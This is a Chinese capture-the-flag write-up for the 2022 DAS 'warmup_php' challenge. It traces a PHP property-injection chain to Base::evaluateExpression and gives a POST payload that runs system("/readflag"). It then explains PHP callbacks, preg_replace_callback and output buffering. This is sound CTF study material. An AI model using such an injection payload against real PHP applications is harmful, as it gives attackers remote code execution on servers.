首页 > 编程语言 >2022DAS_April warmup_php

2022DAS_April warmup_php

时间:2022-08-28 23:13:23浏览次数:87  
标签:函数 warmup TestView ob 2022DAS callback 缓冲区 php properties

wp

思路

先简单代码审计一下,发现它是个渲染HTML表格的东西。可利用的RCE在Base::evaluateExpression中,类之间基本都有继承关系。回调函数在这段代码里也有挺多。

利用链:Action::__construct--->ListView::run--->ListView::renderContent--->TestView::renderTableBody

--->TestView::renderTableRow--->Base::evaluateExpression;需要参数的步骤直接用properties数组传进去就行了。

exp

GET:?action=TestView

POST:
properties[tagName]=123l
&properties[filter]=1234
&properties[rowHtmlOptionsExpression]=system("/readflag")
&properties[data][0]=1233
&properties[template]={TableBody}

需要记录的东西

这破玩意,wp写起来就那么一点点,但真正做的时候四个PHP代码审了将近两个小时。

(1)函数

spl_autoload_register(callable $autoload_function)
//这个函数的作用是,碰到没见过的类,就自动调用括号里的函数。
    
//下面是一个用法示例;他没有用一个被解释为函数名的字符串作为参数,而是直接写了个匿名函数。它的作用是:如果遇到没见过的类xxx(PHP将其默认储存在$class中)就将class目录下的xxx.php文件包含进来。
<?php
spl_autoload_register(function($class){
    require("./class".$class.".php");
});
?>

(2)函数

preg_replace_callback(mixed $pattern,callable $callback,mixed $subject)
    
//在解释这玩意之前,先温习一下熟知的preg_replace:
preg_replace(mixed $pattern,mixed $replacement,mixed $subject)
    //这个函数的作用是,在$subject中匹配$pattern,若匹配成功了,则将其替换为$replacement。它的返回值为经过操作后的$subject

//preg_replace_callback和上述的几乎完全一样,唯一的不同是”将其替换为$replacement"变成了”执行callback回调函数"。
//ob一族的函数,一般不涉及调用链和危险利用,但便于代码审计还是了解一下
ob_start() //打开输出缓冲
ob_end_flush() //清理(输出)缓冲区内容并关闭缓冲区
ob_get_contents() //得到(返回)缓冲区的内容 
ob_get_length() //返回缓冲区内容长度
ob_clean() //清理缓冲区内容(但不关闭缓冲区)

结合上述知识,看题目代码:

public function renderContent()
{
        ob_start();
        echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
        ob_end_flush();
}
//它的作用是,打开缓冲区,向里面填充经过回调函数处理的正则匹配的内容,再关闭缓冲区并一股脑把这些东西输出来。
//这里的回调是“对象方法回调”。$this就是正常的类里的$this;”renderSection"是要调用的函数名。
//匹配到的东西已经作为数组隐式传参进回调函数了;假设匹配了{TestView},那么隐式传参的数组[0]是{TestView},[1]是TestView。(不太理解)

(3)callback(回调)类型

之前关于callback只学过call_user_func()相关的内容,几乎没有理解;现在才发现这不是个单个/几个函数的问题,这是一整个数据类型。

https://www.php.net/manual/zh/language.types.callable.php

<?php 

// 回调函数示范
function my_callback_function() {
    echo 'hello world!';
}

// 回调方法示范
class MyClass {
    static function myCallbackMethod() {
        echo 'Hello World!';
    }
}

// 类型 1:简单的回调
call_user_func('my_callback_function'); 

// 类型 2:静态类方法回调
call_user_func(array('MyClass', 'myCallbackMethod')); 

// 类型 3:对象方法回调
$obj = new MyClass();
call_user_func(array($obj, 'myCallbackMethod'));

// 类型 4:静态类方法回调
call_user_func('MyClass::myCallbackMethod');

// 类型 5:父级静态类回调
class A {
    public static function who() {
        echo "A\n";
    }
}

class B extends A {
    public static function who() {
        echo "B\n";
    }
}

call_user_func(array('B', 'parent::who')); // A

// 类型 6:实现 __invoke 的对象用于回调
class C {
    public function __invoke($name) {
        echo 'Hello ', $name, "\n";
    }
}

$c = new C();
call_user_func($c, 'PHP!');
?>

(4)传参方式

//题目源码中出现了foreach,所以properties要传键值对的形式。具体的,直接在hackbar里这样:properties[filter]=1234
   foreach($properties as $name=>$value)
        $object->$name=$value;
//properties值里的内容类型还是数组怎么办呢?搞个二维的就行了,像这样:properties[data][0]=1233
	public $data=array();

本题注意index里的内容能直接把对应参数都传进去;我当时审计的时候还对着没有__construct的TestView类困惑了好一会(菜

标签:函数,warmup,TestView,ob,2022DAS,callback,缓冲区,php,properties
From: https://www.cnblogs.com/hiddener/p/16295760.html

相关文章

  • php解析html类库simple_html_dom(详细介绍)
    php解析html类库simple_html_dom(详细介绍)_php技巧_脚本之家 https://www.jb51.net/article/39526.htm下载地址:https://github.com/samacs/simple_html_dom解析器不仅......
  • PHP isset()与empty()的使用区别详解
    PHPisset()与empty()的使用区别详解_php基础_脚本之家 https://www.jb51.net/article/24666.htmPHP的isset()函数一般用来检测变量是否设置格式:boolisset(mixedva......
  • PHP 中的 9 个魔术方法
    PHP中的9个魔术方法-OSCHINA-中文开源技术交流社区 https://www.oschina.net/translate/9-magic-methods-in-php这个标题有点牵强因为php有不只9种魔术方法, ......
  • PHP通过iconv将字符串从GBK转换为UTF8字符集
    PHP通过iconv将字符串从GBK转换为UTF8字符集_php技巧_脚本之家 https://www.jb51.net/article/27743.htm1.iconv()介绍iconv函数可以将一种已知的字符集文件转换成另一......
  • php array_flip() 删除数组重复元素
    phparray_flip()删除数组重复元素_php技巧_脚本之家 https://www.jb51.net/article/17104.htm方法如下:$arr=array(…………);//假设有一万个元素的数组,里面有重复......
  • PHP array_unique() 函数
    PHParray_unique()函数 https://www.w3school.com.cn/php/func_array_unique.asp实例移除数组中重复的值:<?php$a=array("a"=>"red","b"=>"green","c"=>"red");pri......
  • ThinkPHP自定义错误页面、成功页面及异常页面
    [TP笔记]ThinkPHP自定义错误页面、成功页面及异常页面|Specs'Blog-就爱PHP https://9iphp.com/opensystem/thinkphp/999.html看了前面分享的一篇《什么是真正的程序......
  • PHP 重载方法 __call()
    PHP重载方法__call()_PHP基础教程-我爱开发网 http://www.5idev.com/p-php_method_overloading.shtml__call()方法用于监视错误的方法调用。__call()(Methodove......
  • 【PHP】【Mysql】【thinkphp】,Thinkphp save()方法执行update操作的返回值问题
    用Thinkphp的Save()方法执行update操作$res=M('erp_goods')->where(array('goods_id'=>$goods_id,'attr'=>$goods_attr))->save($data);if($res===false......
  • ThinkPHP add()操作的返回值
    今天做数据库操作的时候,发现有个问题看似容易,但是还可以有更方便的解决方法。当数据表中的主键字段是自增的时候,当我们用add插入数据成功之后,其实add()方法是有返回值的,原......